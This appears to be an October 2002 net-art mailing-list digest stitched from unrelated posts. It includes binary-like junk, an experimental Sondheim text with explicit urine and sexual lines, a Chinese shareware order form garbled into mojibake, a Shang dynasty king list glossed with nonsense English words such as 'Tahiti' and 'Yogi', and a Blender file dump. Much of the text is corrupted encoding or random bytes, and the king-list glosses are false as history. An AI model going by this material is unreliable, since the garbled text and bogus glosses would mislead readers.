XI\ns`UV]_i_i_i_i_i_i_iW\\D)KIXI4IX IR u`MD]i_i_i_i_i_i_i_i_MXXIX*KIX\nX`DF]_i_i_i_i_i_i_i_NMX XIIX X` VWi_i_i_i_i_i_i_\\V XXXIIXX X`\nV\\_i_i_i_i_i_i_i_iVW X XXIKIKXXt`UM_]_i_i_i_i_i_i_i_]\nDFXI+XXXXX&IXz`Mi_i_i_i_i_i_i_ ]FDKIXXXXX XIl`)#]\\_i_i_i_i_i_i_i_V\nXXm`)#\\]_i_i_i_i_i_i_i_V X. XW`VU_i_i_i_i_i_i_i_i]FDX\"XQ`V\nU_i_i_i_i_i_i_i_i_]FDX7XV`DM]_ i_i_i_i_i_ iV X .X^`FD]_i_i_i_i_i_i_i_i_V\nXXP` Vi_i_i_i_i_i_i_i_]FDXEX\"e` V_i_i_i_i_i_i_i_]FDXX\"M`DM]_i_ i_i_i_i_i_i_V\nXTX&W`FD]_i_i_i_i_i_i_i_iVX##X &M` Vi_i_i_i_i_i_i_i_]DMXIX*Q`\nV_i_i_i_i_i_i_i]FDXFX*X`DM]_i_\ni_i_i_i_i_iUXIX:XIX-R`FD]_i_i_i_i_i_i_i_i_UVKIX9XI K._`\nVi_i_i_i_i_i_i_i_]\\#)KIX(XIX3h ` V_i_i_i_i_i_i_i\\#)IKXXIK4u`MD]\ni_i_i_i_i_i_i_iFUKIXXXXI<n`DF] _i_i_i_i_i _i_i_NMIKXXXIK<U`\nVWi_i_i_i_i_i_i_i_V KIXXXXXXXXXXKIFS` V\\_i_i_i_i_i_i_i_iVW\nIKXXXXXXXXXXIKF+`UM_]_i_i_i_i_ i_i_]FDf-`Mi_i_i_i_i_i_i_]DFf+`)#]\\_i_i\n_i_i_i_i_i_i_V d-`)#\\]_i_i_i_i_i_i_i_V\nd,`VU_i_i_i_i_i_i_i_i]FDd-`VU_i_i_i_i_i_i_i_]FDd/`DM]_i_ i_i_i_i_i_i_V\nb.`FD]_i_i_i_i_i_i_i_iV b-` Vi_i_i_i_i_i_i_i_]NM`0`\nV_i_i_i_i_i_i_i_]M`+`DM]i_i_i_ i_i_i_i_i_i]W)#`+`FD]i_i_i_i_i _i_i_iW\\)# `0`\nVi_i_i_i_i_i_i_i_UV ^/` V_i_i_i_i_i_i_i_i_U ^-`MD]_i_i_i_i_i_i_i_i]DF^.\n`DF]i_i_i_i_i_i_i_i]FD^0` UV_]_i_i_i_i_i_i_V \\.` VU_i_i_i_i_i_i_i_i_iV\n\\-`)\"]Wi_i_i_i_i_i_i_i]FD\\, `)\\]_i_i_i_i_i_i_i_i_]FD\\/`M_i _i_i_i_i_i_i_iV\nZ1`M_]i_i_i_i_i_i_i_i_V Z,` Vi_i_i_i_i_i_i_i]FDZ/` V_i_i_i_i_i_i_i_]FDZ.\n`DM]_i_i_i_i_i_i_i_iV X-`FD]_i_i_i_i_i_i_i_i_V X/` Vi_i_i_i_i_i_i_i_]NMV0`\nV_i_i_i_i_i_i_i_]MV, `DM]i_i_i_i_i_i_i_i_]\\#)V0`FD] i_i_i_i_i_i_i_i\\#)T/`\nVi_i_i_i_i_i_i_i_i_U T0` V_i_i_i_i_i_i_i_iU T.\n`MD]_i_i_i_i_i_i_i_]FDT+`DF]i_ i_i_i_i_i_i_i_]DFT0` UV_]_i_i_i_i_i_i_i_V R/`\nVU_i_i_i_i_i_i_i_i_V R.`)\"]Wi_i_i_i_i_i_i_]FDR,\n`)\\]_i_i_i_i_i_i_i_i_]FDR1`M_i _i_i_i_i_i_i_i_V P2`M_]_i_i_i_i_i_i_i_iV P.`\nVi_i_i_i_i_i_i_i]NMN.` V_i_i_i_i_i_i_i_]MN+`DM]i_i_i_\ni_i_i_i_i_iW\\#)N*`FD]i_i_i_i_i _i_i_i_]\\) #N.` Vi_i_i_i_i_i_i_i_i_UV L1`\nV_i_i_i_i_i_i_i_i_VU L.`MD]_i_i_i_i_i_i_]NMJ. `DF]i_i_i_i\n\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.404 / Virus Database: 228 - Release Date: 10/15/2002\n\n\n\n\nDate: Tue, 22 Oct 2002 12:36:45 +0200 (CEST)\nFrom: master_of_many_etwas {AT} o-o.lt\nSubject: a gift to B.B.\n\n      \n      +--------------+\n      |a gift to B.B.|\n      |              | \n      +--------------+\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: MATERIAL-REAL\nDate: Tue, 22 Oct 2002 21:22:36 -0400 (EDT)\n\n\n\n\n\nMATERIAL-REAL\n\n\n----------------\nDate:   10/22/02\nTime:   20:54:07\nDrive:  C:\nSector: 265\n----------------\n\n text, \"she said.\"  Just as quotations slip laterally in the sentence,\nthere is also a slippage in depth, for example, as Nikuko replies.  {AT} wet\nNikuko. Nikuko is wet, dripping urine through her white cotton panties.\nWe understand the oddity of this proposal, but we have been dealing with\nformally performative language for the past few years, in order to look at\nissues of virtual subjectivity, interaction, projection and introjection\non the Net. We worry about being taken seriously, not as broken sch\n\n----------------\nDate:   10/22/02\nTime:   21:07:52\nDrive:  C:\nSector: 266\n----------------\n\nizo- phrenics. put mouth on panties. You drink urine of Nikuko.\n\"Performative\" can be considered in any number of ways. For example, there\nis a _trace_ function in the Julu program Jennifer has written, a function\nwhich produces a text representing parent/child processes in unix, choices\nmade by the user, manipulations by the program itself. The function\nproduces a file, .trace, which, when reversed, is legibile. The .trace\nfile accumulates, carrying the history of repeated usage; here is an examp\n\n----------------\nDate:   10/22/02\nTime:   21:08:05\nDrive:  C:\nSector: 267\n----------------\n\nle:  hairpiece:sure thing:Julu:leg:  Come home with me, hairpiece,\njulu-of-the-fast-crowd!  Your dirty arm is in my black neck\nHaPPINESS:Yes:Alan::  Your psychotic head is in my sexy head Your your\npenis seeps into my head - turning me Julu-Jennifer Hole:YES!!:Julu:nail:\nYour poor urine is in my depressed nail Devour poor urine julu-of-the\npartying Hole!  Nikuko ...:never!:Nikuko:hair:hair Your linen leg is in my\nwanton hair Your passion seeps into my hair - turning me Julu-Jennifer\ndirty:yeah:Nik\n\n----------------\nDate:   10/22/02\nTime:   21:08:17\nDrive:  C:\nSector: 268\n----------------\n\nuko:ear:  Your psychotic eye is in my velvet ear Devour psychotic eye\njulu-of-the partying dirty!  Note the stick-like or _anime_ figures at\nwork, distributed authorships and anatomies. look panties. You see nothing\nspecial.  So that \"performative\" language has three constituents:  1. Its\nusual site and analysis as speech act or performative in tradi- tional\nlinguistics (and all the accompanying critiques);  2. Referencing\nprogramming language, which is always performative; thus \"echo `date`\"\ncall\n\n----------------\nDate:   10/22/02\nTime:   21:08:27\nDrive:  C:\nSector: 269\n----------------\n\ns up date which echo then sends to the standard output;  3. _Any_\nstatement, say, in a chat (IRC, talker, MOO, MUD, chat, etc.)\nenvironment, which both _constitutes_ and _constructs_ the subject/user;\nwithout the statement, the subject/user disappears for others.  There is\nthus the constructed/constituted subject - who is, by virtue of protocols,\nalways already _well-defined,_ and the subject on the other/ near side of\nthe screen - who need not detain us: one might in this fashion call the\n\"real\" or\n\n----------------\nDate:   10/22/02\nTime:   21:08:31\nDrive:  C:\nSector: 270\n----------------\n\n\"physical-real\" subject the _virtual subject_ by virtue of his or her\ndis/appearance in relation to others on the Net.  Avatars are always\ndisturbances, always irruptions of language, a lang- uage portending _the\nraveling of existence and essence,_ for these terms meld within each\nother, tangled in avatar-sites/sights/citations.  {AT} create $thing called\nbegging. You have a $thing called begging with object number #75438.\n(Now we call _these_ avatars _emanants,_ since they are more deeply em-\nbedded\n\n----------------\nDate:   10/22/02\nTime:   21:08:39\nDrive:  C:\nSector: 271\n----------------\n\n\n====\n\n\n\n\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: Compuman - Hyperionics Shareware Online Purchase Registration\nDate: Fri, 18 Oct 2002 09:43:24 -0500 (CDT)\n\n\n   \u0104 {AT} \n   \n   \u0104 {AT} \n   \n   Hyperionics Shareware [\u013e\u016f\u013dU\u013en\u00b0O\u015e\u00ed]\n   \u02dd\u0110\u015b\u0144\u00a7\u00b4\u013dH\u00a4U\u015e\u00ed\u017d\u0107\u0104G\n   \u013e\u016f\u013dU\u00a4\u010d\u015a\u0104\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G (_) \u00d3\u00a4H\u013d\u00ce\u00a4\u00e1          (_) \u015ek\u00a4H\u0161\u00ce\u0139\u00e9(\u013d]\u0179A\u00a4\u02dd\u013dq)\n   \u02db\u0141\u0164~\u0104]\u02dd\u0110\u00a4\u0139\u017c\u010f\u017c\u016f\u0104^\u0104G\n   [HyperSnap-DX\u0104 {AT} \u0104 {AT} \u0104 {AT} HK$250\u0104 {AT} \u0104]\u0154u\u00b4f\u015a\u00dc\u02d8\u00b0\u02d8\u0105\u00a4\u00eb\u02d8\u02db\u02d8\u00b0\u00a4\u00e9\u0104^   \u0104 {AT} .]\n   \u017e\u00f7\u017e\u0161\u02ddX\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u0105z\u015e\u015f\u0160m\u015aW\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u00a4\u02dd\u013dq\u015aW\u015f\u016e\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u0161q\u00a4l\u0164H\u02ddc\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u015aa\u00a7}\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u0161q\u00b8\u00dc\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u015b\u00c7\u017bu\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u0142f\u0161\u00f4\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G (_) \u00b4\u00e4\u0161\u00f4\u0104 {AT} \u0104 {AT}  \u0104 {AT} \u0104 {AT}  (_) \u013dx\u0161\u00f4\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT}  (_) \u00a4H\u013d\u00c1\u0161\u00f4\u0104 {AT} \u0104 {AT} \u0104 {AT} \n   \u0142\u0107\u0165\u016f\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u013e\u016f\u013dU\u017a\u0106\u013d\u0158\u0104]\u00d3\u0104^\u0104 {AT} \u0104G __________________________________________________\n   \u00c1`\u015e\u00f7\u0102B\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u013dI\u00b4\u00da\u00a4\u010d\u015a\u0104\u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104G __________________________________________________\n   \u00a7A\u0105q\u00a8\u015f\u016f\u0158\u015e\u017e\u0161D\u00a7\u00da\u011a\u0104G __________________________________________________\n   \u015e\u0163\u00a8\u013d\u00a4\u00ce\u00a8\u00e4\u013dL\u02c7N\u00a8\u0141\u0104G\n   \n   ____________________________________________________________\n   ____________________________________________________________\n   ____________________________________________________________\n   ____________________________________________________________\n   ____________________________________________________________\n   ____________________________________________________________\n   ____________________________________________________________\n   \u013en\u00b0O\u00a8B\u0106J\u0104G\n   \u0104]\u02d8\u00b0\u0104^\u0164\u00f6\u015ap\u00a4W\u017d\u0107\u015a\u0104\u015b\u0144\u017ag\u0104\u00a7\u013e\u016f\u013dU\u013en\u00b0O\u015e\u00ed\u0104\u00a8\n   \u0104]\u02d8\u0105\u0104^\u0105N\u0104\u00a7\u013e\u016f\u013dU\u013en\u00b0O\u015e\u00ed\u0104\u00a8\u015aC\u015aL\u0142\u0106\u017d\u00d7\u0104]\u0154H\u02c7N\u0104^\u0104C\u0104 {AT} [\u017c\u00e9\u013dX\u00a8\u011b\u013d\u00b4\u015aL\u017e\u00f7]\n   \u0104]\u02d8\u02db\u0104^\u00c2\u0110\u017d\u00d6\u0104\u00a8\u013e\u016f\u013dU\u013en\u00b0O\u015e\u00ed\u0104\u00a8\u0104A\u015ap\u013d\u017c\u02ddT\u0164h\u00b4\u0141\u013d\u0107\u0104\u00a8\u013e\u016f\u013dU\u013en\u00b0O\u015e\u00ed\u0104\u00a8\u0104C\n   \u0104]\u02d8\u0142\u0104^\u00a7\u00da\u013dq\u015a\u0179\u00a8\u011b\u0104\u00a8\u013e\u016f\u013dU\u013en\u00b0O\u015e\u00ed\u0104\u00a8\u0164\u00e1\u02c7|\u013d\u00ce\u0161q\u015bl\u013eo\u00a4 {AT} \u00d3\u013en\u00b0O\u00b8\u0161\u013e\u0161\u00a7A\u0104C\n   \u0104]\u02d8\u00b4\u0104^\u02dd\u0110\u013en\u00b0O\u0164\u00e1\u015ab\u02d8\u0105\u00a4\u0143\u00a4\u015f\u015aw\u0105\u0106\u00a4\u00e4\u013dI\u013e\u016f\u013dU\u013en\u00b0O\u015bO\u0104A\u00a4\u010d\u015ek\u015ap\u00a4U\u0104G\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u00a4 {AT} \u0104 {AT} \u0105N\u013e\u016f\u013dU\u015bO\u015as\u00a4J\u0161q\u00b8\u0141\u00a4H\u0139U\u00b0\u00dd\u00a4\u02dd\u013dq\u015e\u015f\u0165\u010c\u015a\u0107\u00a4\u00e1\u00a4f:\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} (A) \u0165\u00b4\u00e4\u00a4W\u017d\u00fc\u015b\u00d7\u00c2\u00d7\u0165\u010c\u015a\u0107\u00b4\u00e4\u0161\u00f4\u00a8\u00d3\u0160\u0161\u00a4\u00e4\u02db\u017a\u00a4\u00e1\u00a4f: (004) 580-028827-001\n   \u0104 {AT}  \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT}  \u015abATM\u00c2d\u0171\u017e\u00f7\u00a4\u00ce\u015f\u00f4\u00a4W\u0165\u010c\u015a\u0107\u00c2\u0155\u0105b\u017d\u00c9\u00a4\u0141\u013d\u00ce\u017c\u00e9\u00a4J004\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} (B) \u017d\u00fd\u015a\u017c\u02db\u00c4\u00a4 {AT} \u0165\u010c\u015a\u0107\u00b4\u00e4\u0161\u00f4\u0154x\u0165W\u00a4\u00e1\u00a4f: 044-809-12-23363-2\n   \u0104 {AT}  \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT}  \u015abATM\u00c2d\u0171\u017e\u00f7\u00c2\u0155\u0105b\u017d\u00c9\u00a4\u0141\u013d\u00ce\u017c\u00e9\u00a4J044-8\u0104A\u00a7Y\u0179\u00e9-\n   n\u017c\u00e9\u00a4J09-12-23363-2\u00a7Y\u013di\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0142\u0106\u013e\u016f\u0104G\u0165\u010c\u015a\u0107\u00a4\u015f\u00c2d\u015a\u011b\u0104B\u015b\u00d7\u00c2\u00d7ATM\u0104B\u016f\u00da\u013d\u00cdATM\u0160\u00ce\u0165\u010c\u0142q\u00c2d\u0171\u017e\u00f7\u00a4J\u017a\u0106\u00a7\u0104\u013di\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u00a8\u0102\u02dd\u0110\u0105N\u015b\u00d7\u00c2\u00d7\u015f\u00f4\u00a4W\u0165\u010c\u015a\u0107\u00c2\u0155\u0105b\u00a4H\u015e\u015f\u00a4\u00e1\u00a4f\u015aW\u015f\u016e\u0104B\u00c2\u0155\u0105b\u015e\u00f7\u0102B\u0104B\u00c2\u0155\u0105b\u00a4\u00e9\u00b4\u00c1\u00a4\u00ce\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u013en\u00b0O\u00b8\u0161\u0104\u0163\u00a7A\u015e\u015f\u0160m\u015aW\u013d\u00ce\u0161q\u015bl\u0142q\u015e\u017e\u00a7\u00da\u00a4\u010d\u0104]\u0142\u011a\u00a7\u00d6\u0105\u015b\u017d\u00d6\u0161\u010f\u013dI\u00b4\u00da\u00b8\u0119\u017d\u0106\u0104^\u0104F\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0160\u00ce\u0105N(a)\u00a4J\u017a\u0106\u0102\u0147\u0160\u00fa\u00a4\u00ce(b)\u013en\u00b0O\u00b8\u0161\u015b\u00c7\u017bu(Fax:\n   2363-3900)\u00a8\u011b\u0161q\u00b8\u0141\u00a4H\u0139U\u00b0\u00dd\u00a4\u02dd\u013dq\u0104F\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0160\u00ce\u0105N(a)\u00a4J\u017a\u0106\u0102\u0147\u0160\u00fa\u00b0\u0106\u013d\u0165\u00a4\u00ce(b)\u013en\u00b0O\u00b8\u0161\u015bl\u0105H\u0104\u0163\u0161q\u015bl\u00a8\u011b\u0161q\u00b8\u0141\u00a4H\u0139U\u00b0\u00dd\u00a4\u02dd\u013dq\u0104C\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u00a4G\u0104 {AT} \u0164H\u013d\u00ce\u013dd\u013dI\u00b4\u00da\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u02dd\u0110\u013d\u00fd\u013en\u00b0O\u0164\u00e1\u0104A\u013d\u00ce\u0164H\u013d\u00ce\u013dd\u013dI\u00b4\u00da\u0104A\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u015f\u00f4\u00a7}:  http://www.compuman.com.hk/CreditCard.html\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u00a4T\u0104 {AT} \u00a4\u00e4\u02db\u017a\u0160\u00ce\u02db{\u015e\u00f7\u013dI\u00b4\u00da\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u013d\u00ce\u00a4\u00e1\u013di\u013d\u00ce-\n   \u0165\u00b4\u00e4\u015e\u015f\u0165\u010c\u015a\u0107\u00a4\u00e4\u02db\u017a\u013dI\u013e\u016f\u013dU\u015bO\u0104A\u00a4\u00e4\u02db\u017a\u0160\u010f\u0154Y\u02dd\u0110\u017ag\u0104\u00a7\u0161q\u00b8\u0141\u00a4H\u0139U\u00b0\u00dd\u00a4\u02dd\u013dq\u0104\u00a8\u0104A\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u02dd\u0110\u0105N(a)\u00a4\u00e4\u02db\u017a\u00a4\u00ce(b)\u013en\u00b0O\u00b8\u0161\u0105H\u015a\u00dc\u0161q\u00b8\u0141\u00a4H\u0139U\u00b0\u00dd\u00a4\u02dd\u013dq\u0104C\u015ap\u013dI\u02db{\u015e\u00f7\u015br\u02db\u017a\u00a4]\u013di\u0104A\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u015a\u00fd\u02dd\u0110\u00a4p\u00a4\u00df\u0142B\u02dbz\u0104A\u015bl\u0165~\u015a\u0170t\u0104C\u0150\u015ap\u015a\u0142\u013d\u00f4\u015a\u00f3\u013dI\u00b4\u00da\u00b0\u00dd\u0102D\u0104A\u02dd\u0110\u00c1p\u013e\u00b8\u00a7\u00da\u011a\u0104C\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u015aa\u00a7}: \u0165\u00b4\u00e4\u00a4E\u0154s\u0179\u0151\u0119\u0160\u0139b\u013e\u017e\u013e\u00f3\u00a4 {AT} \u00b8\u0161\u015f\u0171\u00b4\u00e4\u00a4\u00a4\u00a4\u00df\u02db\u00c4\u00a4 {AT} \u017dy11\u017a\u00d31\u0164\u00c7\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0161q\u00b8\u00dc: (852)2362-3398 \u015b\u00c7\u017bu: (852)2363-3900\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0161q\u00a4l\u015bl\u013d\u00f3:  sales {AT} compuman.com.hk\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u013dD\u015b\u015f\u00f4\u00a7}:  http://www.compuman.com.hk\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0105M\u015b\u015f\u00f4\u00a7}:  http://www.compuman.com.hk/Hyper.html\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} Compuman Consultants Company.\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} Address: Unit 1, 11/F., Tower 1, Harbour Centre,\n   \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT} \u0104 {AT}   1 Hok Cheung Street, Hunghom, Kowloon, Hong Kong.\n   \u0104]\u02d8\u013e\u0104^\u00a7\u00da\u011a\u015a\u0179\u00a7\u00b4\u013e\u016f\u013dU\u015bO\u0164\u00e1\u02d8\u00b0\u0104\u0110\u02d8\u0105\u00d3\u00a4u\u00a7 {AT} \u00a4\u0143\u00a4\u015f\u0142q\u0161L\u0161q\u00a4l\u015bl\u013d\u00f3\u013e\u0161\u0105z\u013eo\u00b0e\u013e\u016f\u013dU\u02ddX\u0104C\n   \u0104]\u02d8\u015b\u0104^\u0164n\u00c1n\u0160\u00fa\u0104Gq\u0142\u0107n\u00a7\u00da\u013dq\u0105\u013e\u017b\u00c7\u00a4\u010d\u00a4~\u013d\u00cd\u017d\u00c4\u0104C\n   \u02dd\u0110\u02ddT\u0160w\u00a4w\u0105\u013e\u0165\u00e9\u00a4W\u00a4\u0179\u00c1p\u015f\u00f4\u0104A\u015ap\u015eG\u02c7\u00c7\u0142\u0106\u00b4N\u015f\u00fc\u0104A\u02dd\u0110\u0164\u00f6\u00a4 {AT} \u00a4U [Submit]\n   \u00c1\u00e4\u02ddT\u0165{\u013eo\u00b0e\u013e\u016f\u013dU\u013en\u00b0O\u015e\u00ed\u013e\u0161\u00a7\u00da\u013dq\u0104C\n   \u015e`\u02c7N\u0104G\u02c7\u00ed\u0164\u00f6\u00a7\u0161\u0104eSubmit\u0104f\u00c1\u00e4\u0164\u00e1\u0104A\u00a4\u00c1\u00a4\u0139\u015aA\u0164\u00f6\u0104eSubmit\u0104f\u00c1\u00e4\u0104A\u02dd\u0110\u00d4\u00a4\u016f\u00a8\u010d\u0104A\u015a]-\n   q\u0142\u0107\u00a4w\u0142B\u02dbz\u00a4\u00a4\u0104C Submit Reset\n\n\n\nDate: Tue, 22 Oct 2002 19:26:39 +0100\nFrom: sprosch vac 2 <sd {AT} DEBRIS.ORG.UK>\nSubject: shang spellchecked\n\non Tue, 22 Oct 2002 10:55:50 -0700\n\"[]\" <kanztanz {AT} YAHOO.COM> wrote:\n\n>>   196   '=C4'\n>>\n>> http://133.1.96.43/~seke/tsaou/romanize/eraname.html\n\n\nShang                   =B0=D3 (bc1765?-bc1122?,=ADp644=A6~)\n        =B4=F6  Tang (29? years in reign)\n        =A5~=A4=FE      Wailings (2?)\n        =A5=F2=A4=D0    Sponge (4?)\n        =A4=D3=A5=D2    Tahiti (33?)\n        =A8U=A4B        Wooden (29?)\n        =A4=D3=A9=B0    Tigers (25?)\n        =A4p=A5=D2      Satori (36?)\n        =B9l=A4v        Yogi (12?)\n        =A4=D3=A5=B3    Taxis (75?)\n        =A5=F2=A4B      Shedding (11?)\n        =A5~=A4=D0      Wares (15?)\n        =AAe=DC=B3=A5=D2        Heyday (9?)\n        =AF=AA=A4A      Zulu (19?)\n        =AF=AA=A8=AF    Satin (16?)\n        =A8U=A5=D2      Wow (20?)\n        =AF=AA=A4B      Sluing (32?)\n        =ABn=A9=B0      Nonbeing (29?)\n        =B6=A7=A5=D2    Yawn (7?)\n        =BDL=A9=B0      Plangent (28?)\n        =A4p=A8=AF      Sioux (21?)\n        =A4p=A4A        Sago (21?)\n        =AAZ=A4B        Wedding (59?)\n        =AF=AA=A9=B0    Surge (7?)\n        =AF=AA=A5=D2    Zodiac (33?)\n        =E9o=A8=AF      Living (6?)\n        =A9=B0=A4B      Gelling (6?)\n        =AAZ=A4A        Way (4?)\n        =A4=D3=A4B      Tilting (3?)\n        =AB=D2=A4A      Digit (37?)\n        =AC=F4(=AB=D2=A8=AF)    Shoe (Divan) (33?)\n\n                                             o\n                          +          .                    o\n     dEbRiS                               <><\n   e sd {AT} debris.org.uk         .                      ><[[[[=BA>\n web http://www.debris.org.uk\n     scattered_fragMents.l0ose_materiALs.etc       o\n                . / . .       |||    .   /      .*-|/-*      delete?\n|||||||||1|||||||||2|||||||||3|||||||||4|||||||||5|||||||||6||||||||7||\n                                                               exit\n\n\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nSubject: |   || \" || 23-10-2002-14:23 |_| 126365 5\" || green|blue||||purple|||blue|||||purple|||||blue 'red ~\" || e |\nDate: Wed, 23 Oct 2002 14:24:23 +0200\n\n|-ckhromachine-|\n|---n-R-s-O-K---h-h-o-e-H-| \" |\n|   || \" || 23-10-2002-14:23 |_| 126365 5\" || green|blue||||purple|||blue|||||purple|||||blue 'red ~\" || e |\n|   ||   ||   ||   ||   ||   ||\n\" .\n\" 'A./ GLIDING SQUARE, a writing system\n\"\n\" CHROMATISCH UND RAUM\n\"  _ _ _ _ _ _eacn.ee\n\" _ _ _ _ _  _M\n\n/\n\n7 degrees difference\n\n        /| |\\ the remembrance. BRAND\n       /\n      /\n     /\n    /\n   /|\ndas bildhafte\n\n're. the\n' te\n\n______\n\nthe remebm.remebr\nthe remembrance of an image /\n                                            /\n                                           /\n                                         /\n                                          /\n                                       /\n\npm/. m\u0102\u00a4ssign\nh\u00c2\u00a8Q\nH\u0102\u0084FTSSIG\n\nVIZIO DI FORMA _ verhaf.+ VERFAHREN\n3\n\"controlchip\n\nassociation | seng + ondro\ng.GRT.GR\u0102\u009cN\n\nSEN GONDRO\nSENGON R\nD\nSENGON D RO\n\nRO\nro\n\n' lock.UNLOCKED\n\n\n\nDate:         Mon, 21 Oct 2002 22:39:54 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: VAG.3D\n\nVAG.3D\n\n\nBLENDER_v203REND SRscreen DATA DATA DATA DATA DATA DATA DATA DATA DATA\nDATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA\nDATA DATA DATA DATA DATA DATA DATA DATA ?DATA SRscreen.001 DATA DATA DATA\nDATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA\nDATA DATA DATA DATA DATA XU?\" ?8^j f>G< u>hJR >'l'? L?UUM? DATA DATA DATA<\nSAVE FILE ovie\\ e/psx/test/ vag.blend ag3.jpg ag.blend DATA SELECT IMAGE\n001.jpg .JPG e:\\trilby\\ AME/ 001.jpg .JPG 0033.JPG e:\\trilby\\ SRscreen.002\nDATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA\nDATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA\nDATA DATA DATA DATA DATA DATA ?fffA fffA DATA< SAVE FILE /pics/blender/\nrt1.blend DATA DATA DATA ?fffA fffA DATA< SAVE FILE /pics/blender/\nrt1.blend DATA DATA ?DATA ?fffA fffA DATA< SAVE FILE /pics/blender/\nrt1.blend E:/render/ DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA\nDATA DATA DATA DATA DATA DATA(\nOBCube.001 X?t+ DATA */VAGINAL-EJECTA/*\nOBCube.002 Ve9 {AT}  VO< {AT} ,:? C6KA DATA\nOBLamp ^Tc {AT}  */LIGHT-EJECTA/*\nOBLamp.001\nOBLamp.002 v~?Q 7i}? O+AG:r?\nOBLamp.003 v~?Q 7i}? e7r?\nOBLamp.004 v~?Q 7i}?\nOBLamp.005 ZM|=,\nOBLamp.006 XM|=+ Q~KA}\nOBLamp.007\nOBLamp.008 bX> {AT}  dM>( >b3u?\nOBLamp.009 Ve9 {AT}  *Q?!L\nC6KA MfW>b\nOBCone Ve9 {AT}  >~*B Ve9 {AT}  C<?f H]!A DATA DATA L=}? */PULSE-EJECTA/*\nOBCamera %1d{ */EYE-EJECTA/*\nOBCube DATA  */VAGINAL-EJECTA/*\nMECone.001 DATA DATA X* {AT} r ]{^? gc)?r DATA */PULSE-EJECTA/*\nMECube DATA DATA */VAGINAL-EJECTA/*\nDATAH\nMECube.001 R {AT} iN DATA DATA gUXG DATAH\nMECube.003 DATA DATA +^?g $&tU\nh {AT} _1sJ  {AT} 4;P q {AT} RQ# DATA\nMAMaterial DATAP */DETRITUS-EJECTA/*\nMAMaterial.001 DATAP\nMAMaterial.002 